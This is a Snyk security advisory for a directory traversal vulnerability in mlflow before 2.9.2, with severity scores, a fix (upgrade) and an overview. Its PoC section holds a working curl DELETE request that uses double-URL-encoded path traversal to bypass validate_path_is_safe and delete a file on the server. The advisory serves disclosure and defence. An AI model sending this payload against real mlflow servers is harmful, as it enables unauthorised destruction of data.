Directory Traversal Affecting mlflow package, versions [,2.9.2)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.43% (75th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-MLFLOW-6128849
  • published 15 Dec 2023
  • disclosed 15 Dec 2023
  • credit kevin-mizu

How to fix?

Upgrade mlflow to version 2.9.2 or higher.

Overview

mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.

Affected versions of this package are vulnerable to Directory Traversal when passing crafted input to the file handling mechanism. It is possible to bypass the validate_path_is_safe function check by URL encoding (%2E%2E).

Note:

An attacker can remove any file on the victim server (depending on user's rights) by exploiting this vulnerability.

PoC

curl -X DELETE 'http://127.0.0.1:5000/api/2.0/mlflow-artifacts/artifacts/%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Ftmp%252Fsecret'

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
8.1 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    None
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

8.1 high